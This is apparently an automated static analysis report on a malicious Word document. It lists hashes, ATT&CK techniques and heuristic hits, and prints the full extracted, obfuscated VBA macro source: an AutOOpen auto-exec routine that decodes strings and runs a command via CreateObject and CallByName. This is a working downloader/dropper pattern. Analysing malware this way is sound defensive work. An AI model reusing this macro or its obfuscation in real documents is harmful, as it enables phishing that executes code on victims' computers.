Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f755e443281c4c44…

MALICIOUS

Office (OLE)

168.5 KB Created: 2017-12-27 17:07:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: fc751bec0341ff5c1f69d5ea1616cec1 SHA-1: 6368fe4790567ac41cf42e01564989c2740e97ff SHA-256: f755e443281c4c44bee6917b05e8deac0126a20b8c8e369c136fccbf178178ef
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including an AutOOpen macro, which is a common technique for executing malicious code upon opening the document. High-severity heuristics indicate the use of CreateObject and CallByName, suggesting the macro attempts to execute arbitrary code. The script's obfuscated nature and use of string concatenation for potentially malicious commands make it difficult to determine the exact payload, but the overall pattern points to a downloader or dropper.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub ramawayd_Change()
Set seenoevil54321 = CreateObject(paulbill)
ic512408 = 49 * 206
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    fr = "Run"
CallByName playthomas, fr, VbMethod, ukin2222.ramawayd, 0, True
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutOOpen()
moreytmc
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7630 bytes
SHA-256: ea2df00bb497e71f7d295f536e5aba4a6c73bef0e50331e3ef77fb4d43d129f6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
moreytmc
festshai = 146 + 24
festshai = festshai * 262 - festshai - 256 - festsha
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
End Sub


Attribute VB_Name = "blissgre"
Function htmmirage(sarahjames, ayaksvonerdek)
htmmirage = athaaaaaa(ukin2222.sxmnc666) + sarahjames + athaaaaaa(steebrea.ncymoorc) + _
 ayaksvonerdek + athaaaaaa(ukin2222.JUNE1484 + ukin2222.utrirife) + ayaksvonerdek
End Function

Function anihsumeS()
anihsumeS = tsetlaeo.docadmin
End Function


Attribute VB_Name = "cingiodb"
Function reapglan()
reapglan = "h[Q/uimgs]ogcEmaQEg[Rjgixaha/Es/l"
End Function

Sub moreytmc()
Randomize
tsetlaeo.gjkfufnm = "lucassassy"
End Sub


Attribute VB_Name = "dreanid2"
Function buffymitch(vivsus43, AYANNESEL, uretvark, tmac0317)
ukin2222.ramawayd = htmmirage(vivsus43, AYANNESEL) + thievliq(vivsus43, uretvark) + cgipanther(tmac0317)
End Function

Sub swashbra(playthomas)
fr = "Run"
CallByName playthomas, fr, VbMethod, ukin2222.ramawayd, 0, True
End Sub


Attribute VB_Name = "jandrizzt"
Function ms170620(AYATIVAD, hoehierg)
ms170620 = user1977(Int((AYATIVAD * Rnd()) + hoehierg))
End Function

Function user1977(grinnuny)
user1977 = CInt(grinnuny)
End Function

Attribute VB_Name = "JANUARY1051"
Function decathlon()
decathlon = legsovetov.dukeguep
End Function

Function jd051703()
jd051703 = ukin2222.welcome333
End Function

Attribute VB_Name = "knicks139"
Function niksaynhsK(Gjnthzdi As String, zeng5888 As Integer) As String
Dim hannaangel As Integer
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
hannaangel = 0
For bebthrop = 1 To 90
If (addresscat(lawcastle, bebthrop) = Gjnthzdi) Then
   hannaangel = bebthrop
    Exit For
End If
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
Next bebthrop
hannaangel = IIf(hannaangel - zeng5888 <= 0, 90 + hannaangel - zeng5888, hannaangel - zeng5888)
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
niksaynhsK = addresscat(lawcastle, hannaangel)
End Function

Attribute VB_Name = "tsetlaeo"
Attribute VB_Base = "0{11200ACB-C523-48F1-982F-FBBE2FCFE15A}{EDCCA2D1-3F90-44D2-AFB1-4DE3FBCC3D69}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub gjkfufnm_Change()
shamkreu = pilcher1(decathlon)
ld335832 = pilcher1(decathlon)
AYAKSVETPER = pilcher1(jd051703)
slogstok = pilcher1(jd051703)
iiksvokhcnuaZ = 7 + 245
iiksvokhcnuaZ = 78 - iiksvokhcnuaZ * iiksvokhcnuaZ - 66 - 175 + 19
iiksvokhcnuaZ = iiksvokhcnuaZ - 99 * 9 * 17
buffymitch shamkreu, ld335832, AYAKSVETPER, slogstok
End Sub

Attribute VB_Name = "legsovetov"
Attribute VB_Base = "0{47FB7652-4897-4A7C-B68A-8B64D9A07938}{1B24F916-A09F-421E-BDA5-5B6D3F57163F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "pmcwarren"
Function pilcher1(buckspirit)
fadglomw = ms170620(9, 4) - 1
ivventep = ms170620(53, 1)
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
akluxhoa = addresscat(anihsumeS, ivventep)
For indigoryan = 2 To fadglomw
ivventep = ms170620(27, 1)
akluxhoa = akluxhoa + addresscat(buckspirit, ivventep)
Next indigoryan
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
ivventep = ms170620(37, 1)
akluxhoa = akluxhoa + addresscat(technetium, ivventep)
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
pilcher1 = akluxhoa
End Function

Attribute VB_Name = "ream81375"
Attribute VB_Base = "0{9D9496C3-3327-46AE-B57C-41E329C1C658}{5A75C826-8184-4469-B26A-57A0FEF55E49}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "settlement"
Function lawcastle()
lawcastle = tsetlaeo.votokehC
End Function

Function technetium()
technetium = ukin2222.wwwl2
End Function

Function addresscat(crowsnug, beerjimbob)
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
addresscat = Mid(crowsnug, beerjimbob, 1)
End Function

Function rosesannie()
rosesannie = "zghwsacEmaQEscRjgixaha/Es/l"
End Function




Attribute VB_Name = "steebrea"
Attribute VB_Base = "0{87B9F862-04C3-4F6D-873B-BDE8ACB21903}{DEC1A682-E67A-436B-BDC7-EBE1286BC8C4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "ukin2222"
Attribute VB_Base = "0{395B24E1-F358-4040-9D54-0E3DB48E9140}{33C6C32E-2831-49E2-ABBC-5A8C03F26978}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CheckBox1_Click()

End Sub

Private Sub CommandButton1_Click()

End Sub

Private Sub Label1_Click()

End Sub

Private Sub ramawayd_Change()
Set seenoevil54321 = CreateObject(paulbill)
ic512408 = 49 * 206
ic512408 = 226 + 3
ic512408 = 176 - 74 * 271 + 20
swashbra seenoevil54321
End Sub

Private Sub ToggleButton1_Click()

End Sub

Attribute VB_Name = "tweezbri"
Function paulbill()
paulbill = pai147258
End Function

Function pai147258()
pai147258 = athaaaaaa(legsovetov.dana1134)
End Function

Attribute VB_Name = "tobyspeech"
Function athaaaaaa(zheccrbq)
aveutpeT = ""
festshai = 263 + 172 * 179 - 2
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
annesoft = Len(zheccrbq)
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
festshai = festshai - festshai - 58 * 239 - 118 * 8
For lattulep = 1 To annesoft
aveutpeT = aveutpeT + niksaynhsK(addresscat(zheccrbq, lattulep), 4)
Next lattulep
festshai = 263 + 172 * 179 - 2
festshai = 217 + 215 + festshai * festsha
festshai = festshai + festsha
athaaaaaa = aveutpeT
End Function

Function cgipanther(marcel200)
cgipanther = reapglan + athaaaaaa(ream81375.escafe246) + marcel200 + _
athaaaaaa(ream81375.nobwortm) + marcel200 + athaaaaaa(tsetlaeo.pcigerald)
End Function


Attribute VB_Name = "todayamour"
Function thievliq(baby666888, chiefskim)
thievliq = athaaaaaa(steebrea.AYAKSVOMIL) + chiefskim + athaaaaaa(steebrea.iinrogirP) + _
chiefskim + athaaaaaa(steebrea.cauterizat) + baby666888 + _
athaaaaaa(ream81375.vohsretaM + rosesannie + legsovetov.GORBATEN) + baby666888 + athaaaaaa(ream81375.vohsretaM)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.